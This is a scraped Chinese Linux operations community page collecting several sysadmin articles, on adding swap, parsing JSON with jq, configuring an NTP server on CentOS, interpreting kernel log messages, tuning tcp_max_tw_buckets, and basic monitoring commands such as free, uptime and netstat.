#增加1G的swap空间
dd if=/dev/zero of=/swapfile bs=1MB count=1024

#制作一个swap文件
mkswap /swapfile

#启动swap分区
swapon /swapfile

#添加开机自启
echo '/swapfile none swap defaults 0 0' >> /etc/fstab 查看全部
#!/bin/bash

#增加1G的swap空间
dd if=/dev/zero of=/swapfile bs=1MB count=1024

#制作一个swap文件
mkswap /swapfile

#启动swap分区
swapon /swapfile

#添加开机自启
echo '/swapfile none swap defaults 0 0' >> /etc/fstab

Linux下Json格式化神器jq

开源技术Geek小A 发表了文章 • 0 个评论 • 654 次浏览 • 2016-05-13 00:14 • 来自相关话题

JSON是前端编程经常用到的格式,对于PHP或者Python,解析JSON都不是什么大事,尤其是PHP的json_encode和json_decode非常好用。然后Linux下也有这样的神器就是jq命令,对于运维平常处理json格式的文件有很大帮助!
 
   对于JSON格式而言,jq就像sed/awk/grep这些神器一样的方便,而且jq没有乱七八糟的依赖,只需要一个binary文件jq,就足矣。

一、安装

Centos:
# yum -y install jq

Ubuntu:
# apt-get -y install jq

二、使用

1、格式化Json
# cat json_test.txt
{"name":"WuDi","location":{"street":"ZhongShanLu","city":"BeiJing","age":"26","country":"CN"},"employees":[{"name":"Mark","division":"DevOps"},{"name":"Lucy","division":"HR"},{"name":"Elise","division":"Marketing"}]}上面的JSON是PHP json_encode之后,echo出来的字符串,很明显,可读性太差。前一阵子写文档,需要将前后段JSON写入文档,我当时是用是网上的JSON格式化工具做的。事实上,jq就可以检查JSON的合法性,并把JSON格式化成更友好更可读的格式:




看到上图,将一团乱麻的JSON格式化成个更可读的形式。其实背后另外检查了JSON的合法性。如果JSON不合法,jq .会报错。我故意写个错误的JSON:  




 
2、JSON解析
如上图json,jq是如何解析JSON,根据key获取value? 
{
“key_1”:"value_1",
“key_2”:"value_2",
}如何根据key获取value?
jq '.key'



解析不存在的元素,会返回null




 
3、JSON nested parse(嵌套解析) 
[root@workingh ~]# cat json_test.txt | jq '.location.city'
"BeiJing"4、JSON parse array
[root@workingh ~]# cat json_test.txt | jq '.employees[1].name'
"Lucy"5、内建函数
jq还有一些内建函数如 key,has
 
key是用来获取JSON中的key元素的:
[root@workingh ~]# cat json_test.txt | jq 'keys'
[
"employees",
"location",
"name"
]has是用来是判断是否存在某个key: 
[root@workingh ~]# cat json_test.txt | jq 'has("location")'
true
[root@workingh ~]# cat json_test.txt | jq 'has("xxoo")'
false与JSON相关的我就暂时介绍到这里,希望进一步了解jq并使用的可以去http://stedolan.github.io/jq/manual/.希望了解源码实现的,可以去https://github.com/stedolan/jq;意料之中的事情是作者用来flex和bison来parse json。我们的示例JSON来自参考文献第一篇。用google搜索,kernalpanic中有篇文章介绍了jshon和json.sh提供了另外的思路。
 
参考:
How to parse JSON string via command line on Linux
Parsing JSON with jq 查看全部
JSON是前端编程经常用到的格式,对于PHP或者Python,解析JSON都不是什么大事,尤其是PHP的json_encode和json_decode非常好用。然后Linux下也有这样的神器就是jq命令,对于运维平常处理json格式的文件有很大帮助!
 
   对于JSON格式而言,jq就像sed/awk/grep这些神器一样的方便,而且jq没有乱七八糟的依赖,只需要一个binary文件jq,就足矣。


一、安装


Centos:
# yum -y install jq

Ubuntu:
# apt-get -y install jq


二、使用


1、格式化Json
# cat json_test.txt
{"name":"WuDi","location":{"street":"ZhongShanLu","city":"BeiJing","age":"26","country":"CN"},"employees":[{"name":"Mark","division":"DevOps"},{"name":"Lucy","division":"HR"},{"name":"Elise","division":"Marketing"}]}
上面的JSON是PHP json_encode之后,echo出来的字符串,很明显,可读性太差。前一阵子写文档,需要将前后段JSON写入文档,我当时是用是网上的JSON格式化工具做的。事实上,jq就可以检查JSON的合法性,并把JSON格式化成更友好更可读的格式:
json1.png

看到上图,将一团乱麻的JSON格式化成个更可读的形式。其实背后另外检查了JSON的合法性。如果JSON不合法,jq .会报错。我故意写个错误的JSON:  
json_error.png

 
2、JSON解析
如上图json,jq是如何解析JSON,根据key获取value? 
 {
“key_1”:"value_1",
“key_2”:"value_2",
}
如何根据key获取value?
jq '.key'
json2.png

解析不存在的元素,会返回null
json3.png

 
3、JSON nested parse(嵌套解析) 
[root@workingh ~]# cat json_test.txt | jq '.location.city'
"BeiJing"
4、JSON parse array
[root@workingh ~]# cat json_test.txt | jq '.employees[1].name'
"Lucy"
5、内建函数
jq还有一些内建函数如 key,has
 
key是用来获取JSON中的key元素的:
[root@workingh ~]# cat json_test.txt | jq 'keys'
[
"employees",
"location",
"name"
]
has是用来是判断是否存在某个key: 
[root@workingh ~]# cat json_test.txt | jq 'has("location")'
true
[root@workingh ~]# cat json_test.txt | jq 'has("xxoo")'
false
与JSON相关的我就暂时介绍到这里,希望进一步了解jq并使用的可以去http://stedolan.github.io/jq/manual/.希望了解源码实现的,可以去https://github.com/stedolan/jq;意料之中的事情是作者用来flex和bison来parse json。我们的示例JSON来自参考文献第一篇。用google搜索,kernalpanic中有篇文章介绍了jshon和json.sh提供了另外的思路。
 
参考:
How to parse JSON string via command line on Linux
Parsing JSON with jq

Centos下NTP时间服务器配置详解

开源技术Rock 发表了文章 • 0 个评论 • 796 次浏览 • 2016-03-27 03:10 • 来自相关话题

NTP简介

NTP(Network Time Protocol,网络时间协议)是用来使网络中的各个计算机时间同步的一种协议。它的用途是把计算机的时钟同步到世界协调时UTC,其精度在局域网内可达0.1ms,在互联网上绝大多数的地方其精度可以达到1-50ms。
NTP服务器就是利用NTP协议提供时间同步服务的。

NTP服务器安装

# 系统自带ntp软件包
[root@node ~]# rpm -qa ntp
ntp-4.2.6p5-5.el6.centos.x86_64
# 如果没有就安装
[root@node ~]# yum -y install ntp

配置NTP服务

[root@node ~]# vim /etc/ntp.conf
# restrict default kod nomodify notrap nopeer noquery
restrict default nomodify
# nomodify客户端可以同步
# 将默认时间同步源注释改用可用源
# server 0.centos.pool.ntp.org iburst
# server 1.centos.pool.ntp.org iburst
# server 2.centos.pool.ntp.org iburst
# server 3.centos.pool.ntp.org iburst
server ntp1.aliyun.com #阿里时间服务器
server s2m.time.edu.cn #北京教育网时间服务器

启动NTP服务器

# 如果计划任务有时间同步,先注释,两种用法会冲突。
[root@node ~]# crontab -e
# time sync cron
#[i]/3 [/i] [i] [/i] * /usr/sbin/ntpdate ntp1.aliyun.com >/dev/null 2>&1
[root@node ~]# /etc/init.d/ntpd start
Starting ntpd: [ OK ]
[root@node ~]# ntpq -p
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp1.aliyun.com 10.137.38.86 2 u 22 64 1 525.885 -42.367 0.000
[root@node ~]# ntpstat
synchronised to NTP server (110.75.186.247) at stratum 3
time correct to within 4257 ms
polling server every 64 s


客户机时间同步

客户机要等几分钟再与新启动的ntp服务器进行时间同步,否则会提示no server suitable for synchronization found错误。[root@node ~]# ntpdate 10.0.1.110 (ntp_server_ip)
27 Mar 18:40:16 ntpdate[1453]: step time server 10.0.1.110 offset 40.880807 sec
# 将命令放入计划任务即可。 查看全部


NTP简介


NTP(Network Time Protocol,网络时间协议)是用来使网络中的各个计算机时间同步的一种协议。它的用途是把计算机的时钟同步到世界协调时UTC,其精度在局域网内可达0.1ms,在互联网上绝大多数的地方其精度可以达到1-50ms。
NTP服务器就是利用NTP协议提供时间同步服务的。


NTP服务器安装


# 系统自带ntp软件包
[root@node ~]# rpm -qa ntp
ntp-4.2.6p5-5.el6.centos.x86_64
# 如果没有就安装
[root@node ~]# yum -y install ntp


配置NTP服务


[root@node ~]# vim /etc/ntp.conf
# restrict default kod nomodify notrap nopeer noquery
restrict default nomodify
# nomodify客户端可以同步
# 将默认时间同步源注释改用可用源
# server 0.centos.pool.ntp.org iburst
# server 1.centos.pool.ntp.org iburst
# server 2.centos.pool.ntp.org iburst
# server 3.centos.pool.ntp.org iburst
server ntp1.aliyun.com #阿里时间服务器
server s2m.time.edu.cn #北京教育网时间服务器


启动NTP服务器


# 如果计划任务有时间同步,先注释,两种用法会冲突。
[root@node ~]# crontab -e
# time sync cron
#[i]/3 [/i] [i] [/i] * /usr/sbin/ntpdate ntp1.aliyun.com >/dev/null 2>&1
[root@node ~]# /etc/init.d/ntpd start
Starting ntpd: [ OK ]
[root@node ~]# ntpq -p
remote refid st t when poll reach delay offset jitter
==============================================================================
*ntp1.aliyun.com 10.137.38.86 2 u 22 64 1 525.885 -42.367 0.000
[root@node ~]# ntpstat
synchronised to NTP server (110.75.186.247) at stratum 3
time correct to within 4257 ms
polling server every 64 s


客户机时间同步


客户机要等几分钟再与新启动的ntp服务器进行时间同步,否则会提示no server suitable for synchronization found错误。
[root@node ~]# ntpdate 10.0.1.110 (ntp_server_ip)
27 Mar 18:40:16 ntpdate[1453]: step time server 10.0.1.110 offset 40.880807 sec
# 将命令放入计划任务即可。

Linux服务器常遇到提示解析

开源技术chris 发表了文章 • 0 个评论 • 644 次浏览 • 2016-02-28 01:32 • 来自相关话题

一般类提示

eth1: Too much work at interrupt, IntrStatus=0x0001这条提示的含意为. 某网卡的中断请求过多. 如果只是偶尔出现一次可忽略. 但这条提示如果经常出现或是集中出现,那涉及到的可能性就比较多有可能需要进行处理了. 可能性比较多,如网卡性能;服务器性能;网络攻击..等等.
IPVS: incoming ICMP: failed checksum from 61.172.0.X!服务器收到了一个校验和错误的ICMP数据包. 这类的数据包有可能是非法产生的垃圾数据.但从目前来看服务器收到这样的数据非常多.一般都忽略.
一般代理服务器在工作时会每秒钟转发几千个数据包.收到几个错误数据包不会影响正常的工作.
这是问我最多的一类提示了.
NET: N messages suppressed.  or  __ratelimit: N messages suppressed。服务器忽略了 N 个数据包.和上一条提示类似.服务器收到的数据包被认为是无用的垃圾数据数据. 这类数据多是由攻击类的程序产生的.
这条提示如果 N 比较小的时候可以忽略.但如果经常或是长时间出现3位数据以上的这类提示.就很有可能是服务器受到了垃圾数据类的带宽攻击了.

UDP: bad checksum. From 221.200.X.X:50279 to 218.62.X.X:1155 ulen 24 
UDP: short packet: 218.2.X.X:3072 3640/217 to 222.168.X.X:57596
218.26.131.X sent an invalid ICMP type 3, code 13 error to a broadcast: 0.1.0.4 on eth0服务器收到了一个错误的数据包.分别为 UDP校验和错误; 过短的UDP数据包; 一个错误的ICMP类型数据. 这类信息一般情况下也是非法产生的.
但一般问题不大可直接忽略.

kernel: conntrack_ftp: partial 227 2205426703+13
FTP_NAT: partial packet 2635716056/20 in 2635716048/2635716075服务器在维持一条FTP协议的连接时出错. 这样的提示一般都可以直接忽略.

eth1: Promiscuous mode enabled. 
device eth1 entered promiscuous mode
device eth1 left promiscuous mode这几行提示指. 某块网卡进入(离开)了混杂模式. 一般来说混杂模式是当需要对通信进行抓包时才用到的. 当使用维护或故障分析时会使用到(比如consoletools中的countflow命令). 正常产生的这类提示可以忽略.
如果在前台和远端都没有进行维护时出现这个提示倒是应该引起注意,但这种可能性不大.


基本无关

keyboard: unknown scancode e0 5e键盘上接收到未定义的键值. 如果经常出现.有可能是键盘有问题. linux对于比较特殊的键或是组合键,有时也会出这样的提示.
要看一下服务器的键盘是不是被压住了. 其它情况一般忽略.

 uses obsolete (PF_INET,SOCK_PACKET)系统内核调用了一部分功能模块,在第一次调入时会出现. 一般情况与使用调试工具有关. 可直接忽略. 

报警程序的提示 

0001 WMPCheckV001 2005-04-13_10:10:01 Found .(ARP Spoofing sniffer)! IP:183 MAC:5
0002 WMPCheckV001 2005-04-07_01:53:32 Found .(MAC_incomplete)! IP:173 mac_incomplete:186
0003 WMPCheckV001 2005-04-17_16:25:11 Found .(HIGH_synsent)! totl:4271 SynSent:3490
0004 WMPCheckV001 20......这是由报警程序所引起的提示. 详细的信息需要用报警程序的客户端进行实时接收.

网络通信故障

Neighbour table overflow.出现这个提示.一般都是因为局域网内有部分计算机被病毒感染. 情况严重时会影响通信. 必须处理内部网通信不正常的计算机.

eth1: Transmit error, Tx status register 82.
Probably a duplex mismatch. See Documentation/networking/vortex.txt
Flags; bus-master 1, dirty 9994190(14) current 9994190(14)
Transmit list 00000000 vs. f7171580.
0: @f7171200 length 800001e6 status 000101e6
1: @f7171240 length 8000008c status 0001008c
.... 这个提示是3com网卡特有的. 感觉如果出现量不大的话也不会影响很严重. 目前看维一的解决办法是更换服务器上的网卡. 实在感觉3com的网卡有些问题...


网络通信严重问题! 

NETDEV WATCHDOG: eth1: transmit timed out
eth1: link down
eth1: link up, 10Mbps, half-duplex, lpa 0x0000
eth2: link up, 100Mbps, full-duplex, lpa 0x41E1
setting full-duplex based on MII #24 link partner capability of 45e1这些提示是网络通信中出现严重问题时才会出现. 故障基本和网络断线有关系. 这几条提示分别代表的含意是 某块网卡传送数据超时; 网卡连接down; 网卡连接up,连接速率为10/100Mbps,全/半双功.
这里写到的最后三行的提示比较类似. 出现这类提示时必须注意网络连接状况进行处理!!!

NIC Link is Up 100 Mbps Full Duplex情况和 kernel: eth1: link up,...相同.指某块网卡适应的连接速率. 一般认为没有说明哪个网卡down,只是连续出现网卡适应速率也是通信有问题.
如果是网线正常的断接可以忽略这类的信息.

eth0: Transmit timed out, status 0000, PHY status 786d, resetting...
eth0: Reset not complete yet. Trying harder.第一条提示 网卡关送数据失败. 复位网卡. 第二条提示 网卡复位不成功.... 这些提示都属于严重的通信问题.


服务器系统严重故障

CPU0: Temperature above threshold
CPU0: Running in modulated clock mode服务器CPU工作温度过高. 必须排除硬件故障.

I/O error, dev hda, sector N
I/O error, dev sda, sector N
hda: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=811562, sector=811560服务器系统磁盘存储卡操作失败. 这样的问题一般不会使服务器直接停止工作, 但会引起很多严重问题. 查看全部


一般类提示


eth1: Too much work at interrupt, IntrStatus=0x0001
这条提示的含意为. 某网卡的中断请求过多. 如果只是偶尔出现一次可忽略. 但这条提示如果经常出现或是集中出现,那涉及到的可能性就比较多有可能需要进行处理了. 可能性比较多,如网卡性能;服务器性能;网络攻击..等等.

IPVS: incoming ICMP: failed checksum from 61.172.0.X!
服务器收到了一个校验和错误的ICMP数据包. 这类的数据包有可能是非法产生的垃圾数据.但从目前来看服务器收到这样的数据非常多.一般都忽略.
一般代理服务器在工作时会每秒钟转发几千个数据包.收到几个错误数据包不会影响正常的工作.
这是问我最多的一类提示了.

NET: N messages suppressed.  or  __ratelimit: N messages suppressed。
服务器忽略了 N 个数据包.和上一条提示类似.服务器收到的数据包被认为是无用的垃圾数据数据. 这类数据多是由攻击类的程序产生的.
这条提示如果 N 比较小的时候可以忽略.但如果经常或是长时间出现3位数据以上的这类提示.就很有可能是服务器受到了垃圾数据类的带宽攻击了.


UDP: bad checksum. From 221.200.X.X:50279 to 218.62.X.X:1155 ulen 24 
UDP: short packet: 218.2.X.X:3072 3640/217 to 222.168.X.X:57596
218.26.131.X sent an invalid ICMP type 3, code 13 error to a broadcast: 0.1.0.4 on eth0
服务器收到了一个错误的数据包.分别为 UDP校验和错误; 过短的UDP数据包; 一个错误的ICMP类型数据. 这类信息一般情况下也是非法产生的.
但一般问题不大可直接忽略.


kernel: conntrack_ftp: partial 227 2205426703+13
FTP_NAT: partial packet 2635716056/20 in 2635716048/2635716075
服务器在维持一条FTP协议的连接时出错. 这样的提示一般都可以直接忽略.


eth1: Promiscuous mode enabled. 
device eth1 entered promiscuous mode
device eth1 left promiscuous mode
这几行提示指. 某块网卡进入(离开)了混杂模式. 一般来说混杂模式是当需要对通信进行抓包时才用到的. 当使用维护或故障分析时会使用到(比如consoletools中的countflow命令). 正常产生的这类提示可以忽略.
如果在前台和远端都没有进行维护时出现这个提示倒是应该引起注意,但这种可能性不大.



基本无关


keyboard: unknown scancode e0 5e
键盘上接收到未定义的键值. 如果经常出现.有可能是键盘有问题. linux对于比较特殊的键或是组合键,有时也会出这样的提示.
要看一下服务器的键盘是不是被压住了. 其它情况一般忽略.


 uses obsolete (PF_INET,SOCK_PACKET)
系统内核调用了一部分功能模块,在第一次调入时会出现. 一般情况与使用调试工具有关. 可直接忽略.
 


报警程序的提示 


0001 WMPCheckV001 2005-04-13_10:10:01 Found .(ARP Spoofing sniffer)! IP:183 MAC:5
0002 WMPCheckV001 2005-04-07_01:53:32 Found .(MAC_incomplete)! IP:173 mac_incomplete:186
0003 WMPCheckV001 2005-04-17_16:25:11 Found .(HIGH_synsent)! totl:4271 SynSent:3490
0004 WMPCheckV001 20......
这是由报警程序所引起的提示. 详细的信息需要用报警程序的客户端进行实时接收.


网络通信故障


Neighbour table overflow.
出现这个提示.一般都是因为局域网内有部分计算机被病毒感染. 情况严重时会影响通信. 必须处理内部网通信不正常的计算机.


eth1: Transmit error, Tx status register 82.
Probably a duplex mismatch. See Documentation/networking/vortex.txt
Flags; bus-master 1, dirty 9994190(14) current 9994190(14)
Transmit list 00000000 vs. f7171580.
0: @f7171200 length 800001e6 status 000101e6
1: @f7171240 length 8000008c status 0001008c
.... 
这个提示是3com网卡特有的. 感觉如果出现量不大的话也不会影响很严重. 目前看维一的解决办法是更换服务器上的网卡. 实在感觉3com的网卡有些问题...



网络通信严重问题! 


NETDEV WATCHDOG: eth1: transmit timed out
eth1: link down
eth1: link up, 10Mbps, half-duplex, lpa 0x0000
eth2: link up, 100Mbps, full-duplex, lpa 0x41E1
setting full-duplex based on MII #24 link partner capability of 45e1
这些提示是网络通信中出现严重问题时才会出现. 故障基本和网络断线有关系. 这几条提示分别代表的含意是 某块网卡传送数据超时; 网卡连接down; 网卡连接up,连接速率为10/100Mbps,全/半双功.
这里写到的最后三行的提示比较类似. 出现这类提示时必须注意网络连接状况进行处理!!!


NIC Link is Up 100 Mbps Full Duplex
情况和 kernel: eth1: link up,...相同.指某块网卡适应的连接速率. 一般认为没有说明哪个网卡down,只是连续出现网卡适应速率也是通信有问题.
如果是网线正常的断接可以忽略这类的信息.


eth0: Transmit timed out, status 0000, PHY status 786d, resetting...
eth0: Reset not complete yet. Trying harder.
第一条提示 网卡关送数据失败. 复位网卡. 第二条提示 网卡复位不成功.... 这些提示都属于严重的通信问题.



服务器系统严重故障


CPU0: Temperature above threshold
CPU0: Running in modulated clock mode
服务器CPU工作温度过高. 必须排除硬件故障.


I/O error, dev hda, sector N
I/O error, dev sda, sector N
hda: dma_intr: status=0x51 { DriveReady SeekComplete Error }
hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=811562, sector=811560
服务器系统磁盘存储卡操作失败. 这样的问题一般不会使服务器直接停止工作, 但会引起很多严重问题.

TCP: time wait bucket table overflow解决

开源技术being 发表了文章 • 0 个评论 • 1294 次浏览 • 2016-02-27 22:43 • 来自相关话题

收到告警邮件,监控一台java web服务器的端口链接超时,登录到服务器上查看/var/log/message log如下:Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:02 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:02 java_web1 kernel: TCP: time wait bucket table overflow 服务器的TCP连接数,超出了内核定义最大数。
 
查看设置的参数:[root@java_web1 ~]# cat /proc/sys/net/ipv4/tcp_max_tw_buckets
5000才5千,用ss -tan state time-wait | wc -l命令查看,已经有4500多的time-wait链接。
 
解决方法:
修改内核参数 /proc/sys/net/ipv4/tcp_max_tw_buckets# echo 30000 > /proc/sys/net/ipv4/tcp_max_tw_buckets写入/etc/sysctl.conf使之永久生效echo 'net.ipv4.tcp_max_tw_buckets = 30000' >> /etc/sysctl.conf && sysctl -p转载请注明来自开源技术社区 : http://openskill.cn/article/279 查看全部
收到告警邮件,监控一台java web服务器的端口链接超时,登录到服务器上查看/var/log/message log如下:
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:01 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:02 java_web1 kernel: TCP: time wait bucket table overflow
Feb 27 22:32:02 java_web1 kernel: TCP: time wait bucket table overflow
 服务器的TCP连接数,超出了内核定义最大数。
 
查看设置的参数:
[root@java_web1 ~]# cat  /proc/sys/net/ipv4/tcp_max_tw_buckets
5000
才5千,用ss -tan state time-wait | wc -l命令查看,已经有4500多的time-wait链接。
 
解决方法:
修改内核参数 /proc/sys/net/ipv4/tcp_max_tw_buckets
# echo 30000 > /proc/sys/net/ipv4/tcp_max_tw_buckets
写入/etc/sysctl.conf使之永久生效
echo 'net.ipv4.tcp_max_tw_buckets = 30000' >> /etc/sysctl.conf && sysctl -p
转载请注明来自开源技术社区 : http://openskill.cn/article/279

Linux运维常用的几个命令介绍

开源技术Geek小A 发表了文章 • 4 个评论 • 608 次浏览 • 2016-02-27 17:24 • 来自相关话题

1. 查看系统内核版本​[root@funsion geekxa]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m显示了系统名称(CentOS)和内核版本(release 6.5)
The file /etc/issue is a text file which contains a message or system identification to be printed before the login prompt. 
 
2. 查看系统信息flyhup@ubuntu:~$ uname -a
Linux ubuntu 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linuxuname -a :显示系统名、节点名称、操作系统的发行版号、操作系统版本、运行系统的机器 ID 号
 
3. 查看磁盘空间占用情况$df -hl
Filesystem Size Used Avail Use% Mounted on
/dev/xvda1 100G 5.0G 90G 6% /
tmpfs 1.9G 104K 1.9G 1% /dev/shm参数:
[]-h:方便阅读[/][]-a:全部文件系统列表[/]

4. 查看内存
一、free命令root@xen_202_12 /]# free -m
total used free shared buffers cached
Mem: 3072 2459 612 0 207 1803
-/+ buffers/cache: 447 2624
Swap: 1913 0 1913第2行:
[]otal 内存总数: 3072【注意单位是M,可以用参数-hm更醒目】[/][]used 已经使用的内存数: 2459[/][]free 空闲的内存数: 612[/][]shared 当前已经废弃不用,总是0[/][]buffers: Buffer Cache内存数: 207[/][]cached: Page Cache内存数: 2803[/][]关系:total = used + free[/]
 
第3行:
[]-/+ buffers/cache的意思:[/][]-buffers/cache 的内存数: 447 (等于第1行的 used - buffers - cached)[/][]+buffers/cache 的内存数: 2624 (等于第1行的 free + buffers + cached)[/]
注:此处的内存数在用上面式子计算后,在大小上有一点点出入(还不知道是什么原因)。
可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。
 
5. 查看cpu内核数# 总核数 = 物理CPU个数 X 每颗物理CPU的核数
# 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数

# 查看物理CPU个数
cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l

# 查看每个物理CPU中core的个数(即核数)
cat /proc/cpuinfo| grep "cpu cores"| uniq

# 查看逻辑CPU的个数
cat /proc/cpuinfo| grep "processor"| wc -l
 6. 查看系统负载dimite@ubuntu:~$ uptime
15:41:09 up 42 min, 2 users, load average: 0.08, 0.03, 0.05
[]当前时间 15:41:09[/][]系统已运行的时间 42min[/][]当前在线用户 2 user[/][]平均负载:0.54, 0.40, 0.20,最近1分钟、5分钟、15分钟系统的负载[/]
何为系统负载呢?
系统平均负载被定义为在特定时间间隔内运行队列中的平均进程数目。如果一个进程满足以下条件则其就会位于运行队列中:
[]它没有在等待I/O操作的结果[/][]它没有主动进入等待状态(也就是没有调用'wait')[/][]没有被停止(例如:等待终止)[/]
一般来说,每个CPU内核当前活动进程数不大于3,则系统运行表现良好!当然这里说的是每个cpu内核,也就是如果主机是四核cpu的话,那么只要uptime最后输出的一串字符数值小于12即表示系统负载不是很严重.当然如果达到20,那就表示当前系统负载非常严重,估计打开执行web脚本非常缓慢.
 
7. 查看进程ps -ef or ps aux杀死所有含worker的进程ps -ef | grep worker | awk '{print $2}' | xargs sudo kill -9
or
ps -aux | grep worker | awk '{print $2}' | xargs sudo kill -9


8. 查看端口占用netstat -anp

or

netstat -nltup参数:
[]-a (all)显示所有选项,默认不显示LISTEN相关[/][]-t (tcp)仅显示tcp相关选项[/][]-u (udp)仅显示udp相关选项[/][]-n 拒绝显示别名,能显示数字的全部转化成数字。[/][]-l 仅列出有在 Listen (监听) 的服務状态[/][]-p 显示建立相关链接的程序名[/][]-r 显示路由信息,路由表[/][]-e 显示扩展信息,例如uid等[/][]-s 按各个协议进行统计[/][]-c 每隔一个固定时间,执行该netstat命令。[/][]提示:LISTEN和LISTENING的状态只有用-a或者-l才能看到[/] 查看全部
1. 查看系统内核版本​
[root@funsion geekxa]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m
显示了系统名称(CentOS)和内核版本(release 6.5)
The file /etc/issue is a text file which contains a message or system identification to be printed before the login prompt. 
 
2. 查看系统信息
flyhup@ubuntu:~$ uname -a
Linux ubuntu 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
uname -a :显示系统名、节点名称、操作系统的发行版号、操作系统版本、运行系统的机器 ID 号
 
3. 查看磁盘空间占用情况
$df -hl
Filesystem Size Used Avail Use% Mounted on
/dev/xvda1 100G 5.0G 90G 6% /
tmpfs 1.9G 104K 1.9G 1% /dev/shm
参数:
    []-h:方便阅读[/][]-a:全部文件系统列表[/]


4. 查看内存
一、free命令
root@xen_202_12 /]# free -m
total used free shared buffers cached
Mem: 3072 2459 612 0 207 1803
-/+ buffers/cache: 447 2624
Swap: 1913 0 1913
第2行:
    []otal 内存总数: 3072【注意单位是M,可以用参数-hm更醒目】[/][]used 已经使用的内存数: 2459[/][]free 空闲的内存数: 612[/][]shared 当前已经废弃不用,总是0[/][]buffers: Buffer Cache内存数: 207[/][]cached: Page Cache内存数: 2803[/][]关系:total = used + free[/]

 
第3行:
    []-/+ buffers/cache的意思:[/][]-buffers/cache 的内存数: 447 (等于第1行的 used - buffers - cached)[/][]+buffers/cache 的内存数: 2624 (等于第1行的 free + buffers + cached)[/]

注:此处的内存数在用上面式子计算后,在大小上有一点点出入(还不知道是什么原因)。
可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。
 
5. 查看cpu内核数
# 总核数 = 物理CPU个数 X 每颗物理CPU的核数 
# 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数

# 查看物理CPU个数
cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l

# 查看每个物理CPU中core的个数(即核数)
cat /proc/cpuinfo| grep "cpu cores"| uniq

# 查看逻辑CPU的个数
cat /proc/cpuinfo| grep "processor"| wc -l

 6. 查看系统负载
dimite@ubuntu:~$ uptime
15:41:09 up 42 min, 2 users, load average: 0.08, 0.03, 0.05

    []当前时间 15:41:09[/][]系统已运行的时间 42min[/][]当前在线用户 2 user[/][]平均负载:0.54, 0.40, 0.20,最近1分钟、5分钟、15分钟系统的负载[/]

何为系统负载呢?
系统平均负载被定义为在特定时间间隔内运行队列中的平均进程数目。如果一个进程满足以下条件则其就会位于运行队列中:
    []它没有在等待I/O操作的结果[/][]它没有主动进入等待状态(也就是没有调用'wait')[/][]没有被停止(例如:等待终止)[/]

一般来说,每个CPU内核当前活动进程数不大于3,则系统运行表现良好!当然这里说的是每个cpu内核,也就是如果主机是四核cpu的话,那么只要uptime最后输出的一串字符数值小于12即表示系统负载不是很严重.当然如果达到20,那就表示当前系统负载非常严重,估计打开执行web脚本非常缓慢.
 
7. 查看进程
ps -ef  or ps aux
杀死所有含worker的进程
ps -ef | grep worker | awk '{print $2}' | xargs sudo kill -9
or
ps -aux | grep worker | awk '{print $2}' | xargs sudo kill -9


8. 查看端口占用
netstat -anp

or

netstat -nltup
参数:
    []-a (all)显示所有选项,默认不显示LISTEN相关[/][]-t (tcp)仅显示tcp相关选项[/][]-u (udp)仅显示udp相关选项[/][]-n 拒绝显示别名,能显示数字的全部转化成数字。[/][]-l 仅列出有在 Listen (监听) 的服務状态[/][]-p 显示建立相关链接的程序名[/][]-r 显示路由信息,路由表[/][]-e 显示扩展信息,例如uid等[/][]-s 按各个协议进行统计[/][]-c 每隔一个固定时间,执行该netstat命令。[/][]提示:LISTEN和LISTENING的状态只有用-a或者-l才能看到[/]

十条命令一分钟分析出Linux服务器性能

开源技术push 发表了文章 • 0 个评论 • 685 次浏览 • 2016-01-09 20:47 • 来自相关话题

如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?下面让我们看看看Neflix通过十条命令在一分钟内对机器性能问题进行诊断。

概述

通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。
[]uptime[/][]dmesg | tail[/][]vmstat 1[/][]mpstat -P ALL 1[/][]pidstat 1[/][]iostat -xz 1[/][]free -m[/][]sar -n DEV 1[/][]sar -n TCP,ETCP 1[/][]top[/]
其中一些命令需要安装sysstat包,有一些由procps包提供。这些命令的输出,有助于快速定位性能瓶颈,检查出所有资源(CPU、内存、磁盘IO等)的利用率(utilization)、饱和度(saturation)和错误(error)度量,也就是所谓的USE方法。
下面我们来逐一介绍下这些命令,有关这些命令更多的参数和说明,请参照命令的手册。

uptime

$ uptime
